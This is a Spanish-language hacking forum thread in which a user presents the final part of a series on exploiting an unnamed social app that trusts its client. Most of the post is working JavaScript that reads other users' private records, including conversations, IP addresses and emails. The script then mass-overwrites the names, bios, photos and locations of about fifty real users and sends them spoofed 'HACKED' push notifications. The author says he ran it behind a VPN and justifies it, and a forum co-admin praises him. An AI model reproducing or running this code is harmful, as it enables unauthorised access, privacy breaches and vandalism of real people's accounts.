comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

No le des poder al cliente (FINAL)

  • 2 Respuestas
  • 1189 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 36
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil
« en: Septiembre 25, 2018, 03:45:03 pm »
Porque solo con cambiar un par de cositas no es suficiente...



Si este es el primer post que lees de "No le des poder al cliente" te invito a ver la parte 1 y la parte 2!



Antes de empezar, quiero detallar unas cosas:

1 - ¿Porqué hice lo que hice?:
  • Desde que hice la parte 2, dejé de hablar con el administrador porque según el "iba a hacer mejoras de seguridad en este corto plazo"... Al final, después de muchas actualizaciones y mejoras en el sistema de anuncios, micro transacciones y cosméticos (Si, estuvo aproximadamente 5 - 6 meses mejorando para tener mas ingreso de dinero) me di cuenta que no le interesaba la seguridad. Incluso cambió los términos y condiciones de la misma para lavarse las manos en caso de que pase algo. Así que me puse a consultar con la almohada que es lo que iba a hacer... ¿Seguir con los posts o directamente cortar en la parte anterior todo?...
    Al final me decidí por terminar lo que fuí a hacer, y que esta persona se haga cargo, porque lo único que no podés extraer de los usuarios es la clave, lo demás es todo editable desde el cliente.


2 - ¿Porqué no muestro nada que pueda llevar a que descubran el nombre de la aplicación?:
  • Primero que a pesar de que su aplicación sea un desastre, no puedo dejar que reine la anarquía. Parece ser que soy el único que descubrió todo esto y quiero ser el último, porque en el tiempo que estuve practicando y testeando, encontré desde números de celular, conversaciones de todo tipo, historias, amistades y hasta problemas.

  • LA PRIVACIDAD ES LA PRIVACIDAD, SEÑORAS Y SEÑORES.

  • Segundo, soy usuario de la aplicación y lo que menos quiero es que me encuentren ustedes. (Hasta la fecha, porque cuando publique este post con todo lo que van a ver acá, menos me van a encontrar).

3 - Si lo que voy a hacer ahora es ilegal, ¿No debería no hacerlo?:
  • El administrador deja pasar la pornografía de todo tipo, conversaciones en donde se establecen acciones ilegales en el mundo físico y demás cosas que O CASUALIDAD, no cumplen con las normas que el mismo escribió. Pero tampoco hace su trabajo para borrar esta gente. Así que, ¿quien rompe la ley?.

4 - ¿Y si te descubren?:
  • Cuando las mujeres y hombres de la aplicación dejen de recibir fotos de miembros viriles en sus bandejas de entrada, dejen de pasar pornografía, y no haya mas conversaciones para acordar actividades ilegales, ahí veremos que pasa.

5 - ¿Los diagramas no están utilizados correctamente?:
  • Con gusto desearía que me enseñen a hacer diagramas!



Ya aclarados ciertos tópicos, podemos seguir... En los posts anteriores, nos abusamos del código para obtener desde puntos, superar los baneos e incluso ver los mensajes de los otros usuarios. En este, vamos a divertirnos, que para eso estamos! Pongansé comodos, y espero que disfruten. Les dejo un tema para ambientar:





I - ¿Hasta donde nos da la imaginación?:



Si pudimos ver los mensajes de otros usuarios y escribir por ellos, ¿porqué no dejamos volar la imaginación?:

  • ¿Modificar datos de otras cuentas?
  • ¿Enviar notificaciones personalizadas?
  • ¿Spam?
  • ¿Borrar de la faz de la tierra a usuarios?
  • ¿Robarnos toda la base de datos? (¿Porqué no?)
  • ¿Comprar objetos para otros usuarios?

Si pensamos bien, lo mas probable es que podamos todo o casi todo lo mencionado previamente, ya que casi todo el trabajo que debe hacer el servidor, corre en el cliente. Por ejemplo, esto es lo que pasa con las monedas:



Y esto es lo que pasa cuando uso un item que no necesita hacerle pedidos al servidor (En casi todos los casos):




Si, así de tonto... Este es un ejemplo de código en donde si necesitamos pedirle algo:

Código: Javascript
  1. e.prototype.searchUser = function() {
  2. var e = this;
  3. [...]('Please enter a username', "whiteError", 2e3) : (this.countryIso = this.countryProvider.getIsoFromCountry(this.pickedCountry), this.loader.show(""), this.mongoService.searchUserParrot(this.userinfo.myInfo.uid, this.countryIso, this.username).then(function(t) { //Ejecuto this.mongoService.searchUserParrot y después
  4.      if (e.loader.hide(), void 0 != t.error){
  5.           [...]
  6.           e.foundParrotUser = t
  7.           e.removeParrot(), e.displayToast([...]) //Remuevo el item del inventario
  8.           [...]
  9.      }
  10.  
(Aclaro que el [...] es un fragmento faltante de la función, que para hacer entendible la explicación, lo eliminé)


Como pueden ver, ejecuta directamente la función "searchUserParrot()", que dice:
Código: Javascript
  1. a.prototype.searchUserParrot = function(a, e, n) {
  2.      var o = this;
  3.      return new Promise(function(t, i) {
  4.           o.http.get(o.apiUrl + "users/findParrotByName/" + a + "/" + e + "/" + n).subscribe(function(a) { //Hago un pedido al server con mis requisitos
  5.                t(a)
  6.           }, function(a) {
  7.                i(a)
  8.           })
  9.      })
  10. }
  11.  
Esta función lo que hace, es hacer un pedido al server y preguntarle si existe un usuario con los requisitos que nosotros llenamos... Si existe, nos retorna los datos del mísmo. Y sinó, bueno, nos dice que no.

Dato curioso: Las funciones que voy a utilizar en este post, funcionan al revés del diagrama! En este caso buscamos un usuario... ¿Y si no lo encontramos? ¿Que pasa con nuestro item? Nos lo devuelve si hay un error. Sinó, nos lo quita. Que generoso!


Entonces, vistos estos ejemplos, volvemos a nuestras preguntas.



II - ¿Será posible cumplir todo eso que nos planteamos?:
Primero lo primero, hay que analizar lo que nos falta:





Los Uid:


¿De donde salen y como funcionan?:

1 - Sabemos que los Uid son los identificadores de usuario. Y que en la aplicación se usan como firma para no confundir entre varios usuarios con el mismo nombre. Por ejemplo:
Alan de Argentina y Alan de Estados Unidos. Tienen el mísmo nombre de usuario, pero sus Uid son diferentes, por lo cual, no va a haber colisión de datos y pueden existir sin ningún problema.

2 - Los Uid siempre aparecen en el código como this.userinfo.myinfo.uid, this.userinfo.myUid o this.myUid.

3 - Cada vez que necesito hacer una transacción entre el servidor y el cliente, tengo que usar mi Uid para demostrar que "soy yo" y los cambios se apliquen en mi usuario.





Los userinfo y los userinfo.myinfo:

¿Que son?:
Facil y sencillo, que nos lo diga la consola:
Código: Javascript
  1. console.log("this.userinfo");





Es un arreglo con todos los datos de mi usuario... Nice!


¿A ver que contiene?:

1 - adsInfo: Booleanos que contienen información sobre si vimos los anuncios de la aplicación y demás relativos al tema.


2 - deviceInfo: Información sobre el dispositivo que está corriendo la app. En mi caso no hay información porque lo corro desde el navegador.


3 - infoNode: Estadísticas de mi perfil y anuncios. Junto con por alguna razón si mi camara está prendida o no.


4 - myInfo: Toda la información de mi cuenta y configuración, desde mi IP, ubicación y hasta el correo con el que me registré. (Pero no figura la clave, un punto para el admin que por lo menos no las muestra). También vuelve a tomar la información del último dispositivo que use (En mi caso un emulador). También figura por ahí abajo nuestro Uid.


5 - myWatchers: Estados de conexión y ultima vez.


6 - productInApp: Productos que "compré" en la aplicación. En este caso, como no compré ninguno, figuran los precios.


7 - Otros: Si la aplicación tiene algún error, está ¿crackeada? (No entiendo a que se refiere), si es de noche y si estoy en linea (Otra vez).






Las notificaciones:

¿Como funcionan?

Utilizando nuestras amadas "herramientas para desarrolladores", nos vamos hacia la sección de network y nos enviamos una notificación desde otra cuenta. Esto fué lo que pasó:



Nada... Así que va a haber que recurrir al plan B. Buscar en el inmenso código la sección de notificaciones. Y después de unas horas, encontré la función:

Código: Javascript
  1. n.prototype.notifReceiver = function(n) {
  2.      n.isPush && void 0 != n.onesignalId && this.onesignalprovider.sendNotif(n.onesignalId, "Has recibido una solicitud de amistad", "Has recibido una solicitud de amistad")
  3. }
  4.  

En donde utiliza la función "sendNotif()", que es:

Código: Javascript
  1. a.prototype.sendNotif = function(a, e, n) {
  2.      this.http.post("https://onesignal.com/api/v1/notifications", {
  3.           app_id: "XXXXXXX-XXXX-XXXX-XXXX-XXXXXXX",
  4.           include_player_ids: [a],
  5.           contents: {
  6.                en: e,
  7.                fr: n
  8.           },
  9.           ios_badgeType: "Increase",
  10.           ios_badgeCount: 1
  11.      }).subscribe(function(a) {}, function(a) {})
  12. }
  13.  

Y que usa onesignal. Genial! Como ven en una parte dice "include_player_ids: [a]", lo que vendría a ser el ID de onesignal que nos habla previamente como "n.onesignalId".
Perfecto, osea que, cuando es necesario advertirle algo al cliente, mediante onesignal se nos pushea el evento. Y, si miramos con atención el código, podemos cambiar intencionalmente nuestro onesignalId para pushearle la notificación a otro usuario con un mensaje customizado!


Dato curioso: En todas las aplicaciones que se use onesignal y se pueda acceder a los id de otros usuarios, puede pasar lo que va a pasar en este post.

El problema que viene ahora es... ¿Como consigo el "onesignalId"?

En este caso no llegué por código, llegué por deducción. Si volvemos al "userinfo.myInfo" vamos a encontrar el id. A lo que me dije... Si obtengo la información de otros usuarios viendo sus perfiles, es probable que también esté su onesignalId ahí! ¿Por que? Porque si el cliente maneja todos los eventos practicamente, y el servidor sirve unicamente para guardar un par de datos nuestros, seeeeeeeguro que cuando mandemos el mensaje, nuestro cliente va a pushearlo! Así que manos a la obra...

Lo primero que me vino a la mente, fue lo que hicimos en el post anterior para obtener el Uid de mis cuentas de testeo... Pero el metodo no era tan preciso, así que se me vino una idea a la cabeza. ¿Y si modificamos la función que cuando abrimos el perfil del otro usuario, y llama al server para mostrarnos toda la información?. Dicho y hecho, utilizando la herramienta "Performance" sacamos un snapshot durante la llamada de la función, y tarán!



Ahí estaba... Y su código es:

Código: Javascript
  1. e.prototype.getProfileUser = function(e) {
  2.      var n = this;
  3.      J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
  4.           var t = e.val(); //Guarda la información en la variable t
  5.           null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
  6.           n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
  7.      })
  8. }
  9.  

Entonces... Termina siendo como lo pensamos, nos manda todos sus datos. ¿Y si lo editamos un poquito?

Código: Javascript
  1. e.prototype.getProfileUser = function(e) {
  2.      var n = this;
  3.      J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
  4.           var t = e.val(); //Guarda la información en la variable t
  5.           console.log(t); //Mostramos a t en la consola...
  6.           null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
  7.           n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
  8.      })
  9. }
  10.  

Boom, tenemos lo que buscabamos... Y mucho mas:



Tenemos todo el "myinfo" a nuestra disposición, y encima el onesignalId. Hermoso, maravilloso... Es el paraíso! Pero, ¿y si vamos mas allá?:

Código: Javascript
  1. e.prototype.getProfileUser = function(e) {
  2.      var n = this;
  3.      J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
  4.           var t = e.val(); //Guarda la información en la variable t
  5.           console.log(t); //Mostramos a t en la consola...
  6.           null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
  7.           n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
  8.      })
  9.      J.database().ref("users/" + e + "/").once("value", function(j) { //Accedemos a la informacion raiz del usuario
  10.           var q = j.val();
  11.           console.log(q); // Y la mostramos en consola...
  12.      })
  13. }
  14.  



Tenemos toda la información que el server nos deja ver... Contactos, conversaciones, la información y los estados de conexión. ¿Que mas se puede pedir?





Editores de información:

En el código de uno de los tantos .js que hay, encontré estas lineas:

Código: Javascript
  1. e.prototype.checkTimezoneOffset = function() {
  2.      var e = 60 * (new Date).getTimezoneOffset();
  3.      if (e != this.userinfo.myInfo.timezone_offset) {
  4.           Ae.database().ref("/users/" + this.myUid + "/info").update({
  5.                timezone_offset: e
  6.           })
  7. }
  8.  

Esto significa que actualiza directamente sobre la base de datos... Nice! Ahora, si volvemos a "this.userinfo.myinfo" van a poder ver que en una parte dice "name". Y que si buscan mas abajo también dice "timezone_offset". Esto significa que si modificamos esa función, podemos hacer que modifique todos los datos de nuestro usuario directamente sin usar códigos intermediarios... ¿Hermoso no?

Código: Javascript
  1. Ae.database().ref("/users/" + this.myUid + "/info").update({
  2.      name: "(っ◔◡◔)っ ♥ HACKED ♥", //Y obviamente, un poco burlón el nombre... Nada de XXXhackedXXX, con corazoncitos duele mas.
  3.      bio: "I have been hacked :)", //Siempre en inglés... No todos hablan español
  4.      isPush: true, //Para que le llegue la notificación nuestra (Por si las tiene desactivada)
  5.      isVibration: true //¿Porque no? jaja
  6. })
  7.  

Ahora si... Quedó perfecto.

También forma parte de estos datos, la foto de perfil... Pero esta vez tuvimos que si o si recurrir a las herramientas para desarrolladores, y buscar que js y función se encuentra involucrada. Pero no tuve exito, porque como corro desde el navegador, obviamente no abre la cámara, por eeeeeende, uno de los scripts me detiene ahí. No queda otra que buscar archivo por archivo...

Por suerte, encontré la función en uno de los primeros... Y esto decía:


Código: Javascript
  1.  
  2. e.prototype.addPhotoToProfile = function(e) {
  3.      this.db.database().ref("/users/" + this.userinfo.myInfo.uid + "/info").update({
  4.           photo: e
  5.      })
  6.      this.myRef.update({
  7.           photo: e
  8.      });
  9.      this.db.object("photo/users/" + this.userinfo.myInfo.uid).update({
  10.           profile: e
  11.      });
  12.      this.db.object("users/" + this.userinfo.myInfo.uid + "/photo").update({
  13.           small: e
  14.      }), this.mongoService.updatePhoto(this.userinfo.myInfo.uid, e).then(function(e) {})
  15. }
  16.  

Va como piña! Podemos poner la foto que queremos en una variable... Osea que si editamos el código, quedaría algo como:



Código: Javascript
  1.      var j = "https://media.giphy.com/media/o0vwzuFwCGAFO/giphy-downsized.gif";
  2.      this.db.database().ref("/users/" + this.userinfo.myInfo.uid + "/info").update({
  3.           photo: j
  4.      })
  5.      this.myRef.update({
  6.           photo: j
  7.      });
  8.      this.db.object("photo/users/" + this.userinfo.myInfo.uid).update({
  9.           profile: j
  10.      });
  11.      this.db.object("users/" + this.userinfo.myInfo.uid + "/photo").update({
  12.           small: j
  13.      }), this.mongoService.updatePhoto(this.userinfo.myInfo.uid, e).then(function(e) {})
  14.  




¿Como podemos encontrar múltiples objetivos para nuestra "magia"?

Uno de los items de la aplicación te permite mandar 50 veces un mismo mensaje para múltiples usuarios. Pero para poder mandar este mensaje, primero tiene que pedir los uid de esos 50. Así que, investigando un poco, encontré que al usar ese item, llamamos a la siguiente función:

Código: Javascript
  1. n.prototype.sendMultiple = function() {
  2. [...]
  3. this.mongoService.searchForKrakenNew({
  4.      myUid: this.userinfo.myInfo.uid,
  5.      target: this.userinfo.myInfo.target,
  6.      myGender: this.userinfo.myInfo.gender,
  7.      minAge: this.userinfo.myInfo.range_min,
  8.      maxAge: this.userinfo.myInfo.range_max,
  9.      myAge: this.userinfo.myInfo.age,
  10.      myCountryIso: this.userinfo.myInfo.countryIso,
  11.      myCountry: this.userinfo.myInfo.country,
  12.      reputation: this.userinfo.myInfo.reputation,
  13.      category: this.userinfo.myInfo.category,
  14.      excludeCountry: this.userinfo.myInfo.excludeCountry,
  15.      friendsList: this.friendsList
  16.      }).then(function(e) {
  17.           n.octopusResult = e, n.events.publish("userFound", !0);
  18.           for (var l = 0; l < e.length; l++) void 0 != e[l].uid && n.sendToUser(e[l]);
  19.      });
  20. [...]
  21. }
  22.  

Como pueden ver, en el final nos dice "e[l].uid", pero nosotros queremos el onesingalId ! ¿Que hago?... Esto es el interior de uno de los e[l] que nos trae la función:



Así que, si no estamos equivocados, deberíamos poder usar "e[l].onesignalId" y listo! ¿Probamos?



Así que la idea es que cubra todas las edades, todos los generos, y todas las reputaciones... Nos ponemos manos a la obra y que san Math.round() y Math.random() nos ayuden con nuestra locura:

Código: Javascript
  1.  
  2. function aleatorio() {
  3.      return Math.round(Math.random()*(90-18)+parseInt(18));
  4. }
  5.  
  6. function Reputacion() {
  7.      return Math.round(Math.random()*(9000-20)+parseInt(20));
  8. }
  9.  
  10. function Edad(){
  11.      return Math.round(Math.random()*(60-18)+parseInt(18));
  12. }
  13.  
  14.  
  15. function Obtener_Genero_Target_Tambien_Mi_Genero(){
  16.      if (aleatorio() > 45){
  17.           //Si es mayor a 45, el genero va a ser masculino
  18.           return "male";
  19.      } else if(aleatorio() == 45) {
  20.           //Si el genero es 45, es para ambos sexos
  21.           return "both";
  22.      } else {
  23.           //Si es menor a 45, el genero va a ser femenino
  24.           return "female";
  25.      }
  26. }
  27.  
  28. function Categoria(){
  29.      if (aleatorio() > 45){
  30.           //Si es mayor a 45, el genero va a ser XXXXX-1
  31.           return "XXXXX-1";
  32.      } else if(aleatorio() == 45) {
  33.           //Si es 45 XXXXX-2
  34.           return "XXXXX-2";
  35.      } else {
  36.           //Y si es menor a 45, XXXXX-3
  37.           return "XXXXX-3";
  38.      }
  39. }
  40.  
  41. var n = this;
  42.  
  43. this.mongoService.searchForKrakenNew({
  44.      myUid: "this.is.a.fake.uid",
  45.      target: Obtener_Genero_Target_Tambien_Mi_Genero(),
  46.      myGender: Obtener_Genero_Target_Tambien_Mi_Genero(),
  47.      minAge: Edad(),
  48.      maxAge: Edad(),
  49.      myAge: Edad(),
  50.      myCountryIso: "KL",
  51.      myCountry: "Kawaii Land", // ¿Quien puede sospechar de un otaku?
  52.      reputation: Reputacion(),
  53.      category: Categoria(),
  54.      excludeCountry: this.userinfo.myInfo.excludeCountry,
  55.      friendsList: this.friendsList //Lo dejo en blanco porque obviamente, no tengo amigos
  56.      }).then(function(e) {
  57.           console.log(e);
  58.           for (var l = 0; l < e.length; l++) void 0 != e[l].onesignalId
  59. });
  60.  
  61.  

Y lo que nos mostraría en pantalla, sería esto:



Ahora mi duda es: ¿Puedo pedir mas usuarios que solo 50? Reastreando a la función "searchForKrakenNew()" nos encontramos que nos dice:

Código: Javascript
  1.  
  2. a.prototype.searchForKrakenNew = function(a) {
  3.      var e = this,
  4.      n = new o.g;
  5.      return n.append("Content-Type", "application/json"), new Promise(function(o) {
  6.           e.http.post(e.apiUrl + "users/searchKrakenNew/", a, {
  7.                headers: n
  8.           }).toPromise().then(function(a) {
  9.                o(a)
  10.           }).catch(function(a) {})
  11.      })
  12. }
  13.  
  14.  

Y no... No nos podemos pasar... Directamente le hace pedido a una URL con nuestros datos y nos devuelve 50... Es bastante igual!



III - Vamos a aplicar todo lo aprendido:
Este es el momento de la verdad... Ahora, hay que unir todo lo que vimos, y hacer lo que estábamos buscando hace bastante tiempo.

Ahora, antes de seguir, quiero comentar mi problema:
Como la app está hecha con Ionic, es un desastre poder hacer loops o ejecutar los códigos con tocar un botón. (No, no es que sea totalmente vago, es que intenté y no pude, es una maraña de funciones y no, no tengo tiempo para ponerme a buscar una solución difícil para algo simple). Así que se me ocurrió buscar una función que se ejecute clickeando algún componente, y pongo un autoclicker a correr...

Buscando la función dentro de los primeros archivos .js, encontré una que se llama "CreateMsg()", y que cada vez que tocamos el botón de crear mensaje, va ahora a ejecutar nuestro código en su lugar... Así que esto sería como queda todo armado:

Código: Javascript
  1. e.prototype.CreateMsg = function(e, n) {
  2. function aleatorio() {
  3.      return Math.round(Math.random()*(90-18)+parseInt(18));
  4. }
  5.  
  6. function Reputacion() {
  7.      return Math.round(Math.random()*(9000-20)+parseInt(20));
  8. }
  9.  
  10. function Edad(){
  11.      return Math.round(Math.random()*(60-18)+parseInt(18));
  12. }
  13.  
  14.  
  15. function Obtener_Genero_Target_Tambien_Mi_Genero(){
  16.      if (aleatorio() > 45){
  17.           return "male";
  18.      } else if(aleatorio() == 45) {
  19.           return "both";
  20.      } else {
  21.           return "female";
  22.      }
  23. }
  24.  
  25. function Categoria(){
  26.      if (aleatorio() > 45){
  27.           return "XXXXX-1";
  28.      } else if(aleatorio() == 45) {
  29.           return "XXXXX-2";
  30.      } else {
  31.           return "XXXXX-3";
  32.      }
  33. }
  34.  
  35. var n = this;
  36.  
  37. this.mongoService.searchForKrakenNew({
  38.      myUid: "this.is.a.fake.uid",
  39.      target: Obtener_Genero_Target_Tambien_Mi_Genero(),
  40.      myGender: Obtener_Genero_Target_Tambien_Mi_Genero(),
  41.      minAge: Edad(),
  42.      maxAge: Edad(),
  43.      myAge: Edad(),
  44.      myCountryIso: "KL",
  45.      myCountry: "Kawaii Land",
  46.      reputation: Reputacion(),
  47.      category: Categoria(),
  48.      excludeCountry: this.userinfo.myInfo.excludeCountry,
  49.      friendsList: this.friendsList
  50.      
  51. }).then(function(e) {
  52.      console.log(e);
  53.      for (var l = 0; l < e.length; l++){
  54.           Ae.database().ref("/users/" + e[l].uid + "/info").update({
  55.                name: "(っ◔◡◔)っ ♥ HACKED ♥",
  56.                bio: "I have been hacked :)",
  57.                reputation: 666,
  58.                pos_lat: "Fuck",
  59.                pos_lng: "you",
  60.                isPush: true,
  61.                isVibration: true
  62.           })
  63.  
  64.           var j = "https://media.giphy.com/media/o0vwzuFwCGAFO/giphy-downsized.gif";
  65.           Ae.database().ref("/users/" + e[l].uid + "/info").update({
  66.                photo: j
  67.           })
  68.           this.db.object("photo/users/" + e[l].uid).update({
  69.                profile: j
  70.           });
  71.           this.db.object("users/" + e[l].uid + "/photo").update({
  72.                small: j
  73.           }), this.mongoService.updatePhoto(e[l].uid, j).then(function(e) {})
  74.  
  75.           this.onesignalprovider.sendNotif(e[l].onesignalId, "YOU HAVE BEEN HACKED, have a nice day &#128293;", "YOU HAVE BEEN HACKED, have a nice day &#128293;");
  76. }                
  77. });
  78. }
  79.  

Y... Nos bajamos un autoclicker: https://sourceforge.net/projects/orphamielautoclicker/ (El mejor de todos)
También nos enmascaramos con un VPN: (No pienso decir cual)



IV - Resultados:











La idea no era dañar a nadie... Simplemente divertirnos un ratito jugandolé una broma pesada al admin y a los usuarios. Pero si hubieramos querido, o si hubiera sido otra persona la que estaría en mi lugar, tranquilamente le podría haber hecho desaparecer la base de datos hace rato...


Espero que se hayan arrancado los pelos viendo esto! Saludos,NERV0


« Última modificación: Septiembre 25, 2018, 04:04:11 pm por NERV0 »
“Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla”

Conectado 79137913

  • *
  • Co Admin
  • Mensajes: 636
  • Actividad:
    1.67%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #1 en: Septiembre 26, 2018, 12:29:45 pm »
HOLA!!!

Aparte de decirte buen trabajo quiero aclarar que es muy facil saber de que app estas hablando, no la conocia y viendo los posts fue cuestion de minutos!

Saludos

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   DOORS.PARTY

Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 36
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil
« Respuesta #2 en: Septiembre 26, 2018, 04:09:18 pm »
Gracias Numeritos! Si, es re obvio... Pero si no doy el nombre, está todo bien ¿no? jajaja! Saludos y gracias por leer los posts!
“Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla”

 

¿Te gustó el post? COMPARTILO!



No le des poder al cliente (Parte 1)

Iniciado por NERV0

Respuestas: 4
Vistas: 1680
Último mensaje Mayo 28, 2018, 01:53:20 pm
por NERV0
No le des poder al cliente (Parte 2)

Iniciado por NERV0

Respuestas: 4
Vistas: 1661
Último mensaje Junio 13, 2018, 12:24:04 pm
por NERV0